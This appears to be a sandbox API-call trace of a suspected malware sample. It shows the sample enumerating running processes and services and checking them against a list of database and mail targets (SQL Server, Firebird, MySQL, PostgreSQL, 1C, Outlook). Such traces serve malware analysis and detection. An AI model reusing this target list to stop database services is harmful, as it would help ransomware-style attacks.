-1 [0158.765] lstrlenW (lpString="WdiSystemHost") returned 13 [0158.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0158.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0158.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0158.765] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0158.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0158.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0158.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0158.765] lstrlenW (lpString="Winmgmt") returned 7 [0158.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0158.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0158.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0158.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0158.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0158.765] lstrlenW (lpString="WPDBusEnum") returned 10 [0158.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0158.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0158.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0158.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0158.765] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160 [0158.767] Process32FirstW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.767] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.768] lstrlenW (lpString="System") returned 6 [0158.768] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0158.768] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0158.768] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0158.768] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0158.768] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0158.768] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0158.768] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0158.768] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.768] lstrlenW (lpString="smss.exe") returned 8 [0158.768] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0158.768] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0158.768] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0158.768] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0158.768] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0158.768] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0158.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0158.769] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.769] lstrlenW (lpString="csrss.exe") returned 9 [0158.769] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.769] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.769] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.769] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.769] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0158.769] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.769] lstrlenW (lpString="wininit.exe") returned 11 [0158.769] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0158.769] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0158.769] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0158.769] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0158.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0158.770] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0158.770] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0158.770] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.770] lstrlenW (lpString="csrss.exe") returned 9 [0158.770] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.770] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.770] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.770] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.770] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.770] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.770] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.770] lstrlenW (lpString="winlogon.exe") returned 12 [0158.771] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.771] lstrlenW (lpString="services.exe") returned 12 [0158.771] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.771] lstrlenW (lpString="lsass.exe") returned 9 [0158.771] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0158.771] lstrlenW (lpString="lsm.exe") returned 7 [0158.772] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.772] lstrlenW (lpString="svchost.exe") returned 11 [0158.772] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.772] lstrlenW (lpString="svchost.exe") returned 11 [0158.772] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.773] lstrlenW (lpString="svchost.exe") returned 11 [0158.773] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.773] lstrlenW (lpString="svchost.exe") returned 11 [0158.773] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.773] lstrlenW (lpString="svchost.exe") returned 11 [0158.773] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.774] lstrlenW (lpString="audiodg.exe") returned 11 [0158.774] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.774] lstrlenW (lpString="svchost.exe") returned 11 [0158.774] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.774] lstrlenW (lpString="explorer.exe") returned 12 [0158.774] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.775] lstrlenW (lpString="dwm.exe") returned 7 [0158.775] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.775] lstrlenW (lpString="svchost.exe") returned 11 [0158.775] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0158.775] lstrlenW (lpString="n.exe") returned 5 [0158.775] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.776] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.776] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.776] lstrlenW (lpString="svchost.exe") returned 11 [0158.776] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.776] lstrlenW (lpString="taskhost.exe") returned 12 [0158.776] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0158.777] lstrlenW (lpString="reader_sl.exe") returned 13 [0158.777] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0158.777] lstrlenW (lpString="rundll32.exe") returned 12 [0158.777] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0158.777] lstrlenW (lpString="n.exe") returned 5 [0158.777] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.778] lstrlenW (lpString="dllhost.exe") returned 11 [0158.778] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.778] lstrlenW (lpString="dllhost.exe") returned 11 [0158.778] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0158.778] lstrlenW (lpString="n.exe") returned 5 [0158.778] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0158.779] CloseHandle (hObject=0x160) returned 1 [0158.779] Sleep (dwMilliseconds=0x1f4) [0159.552] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9618 [0159.552] EnumServicesStatusExW (in: hSCManager=0x42f9618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0159.553] GetLastError () returned 0xea [0159.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0159.553] EnumServicesStatusExW (in: hSCManager=0x42f9618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0159.553] CloseServiceHandle (hSCObject=0x42f9618) returned 1 [0159.553] lstrlenW (lpString="Appinfo") returned 7 [0159.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0159.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0159.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0159.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0159.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0159.554] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.554] lstrlenW (lpString="AudioSrv") returned 8 [0159.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0159.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0159.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0159.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0159.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0159.554] lstrlenW (lpString="BFE") returned 3 [0159.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.554] lstrlenW (lpString="CryptSvc") returned 8 [0159.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.554] lstrlenW (lpString="CscService") returned 10 [0159.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0159.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0159.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0159.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0159.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0159.555] lstrlenW (lpString="DcomLaunch") returned 10 [0159.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.555] lstrlenW (lpString="Dhcp") returned 4 [0159.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.555] lstrlenW (lpString="Dnscache") returned 8 [0159.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.555] lstrlenW (lpString="DPS") returned 3 [0159.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.555] lstrlenW (lpString="eventlog") returned 8 [0159.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0159.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0159.556] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0159.556] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0159.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0159.556] lstrlenW (lpString="EventSystem") returned 11 [0159.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.556] lstrlenW (lpString="gpsvc") returned 5 [0159.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.556] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.556] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.556] lstrlenW (lpString="iphlpsvc") returned 8 [0159.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.556] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.556] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.556] lstrlenW (lpString="LanmanServer") returned 12 [0159.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.556] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.556] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.556] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.556] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.557] lstrlenW (lpString="lmhosts") returned 7 [0159.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.557] lstrlenW (lpString="MMCSS") returned 5 [0159.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0159.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0159.557] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0159.557] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0159.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0159.557] lstrlenW (lpString="MpsSvc") returned 6 [0159.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.557] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.557] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.557] lstrlenW (lpString="Netman") returned 6 [0159.557] lstrcmpiW 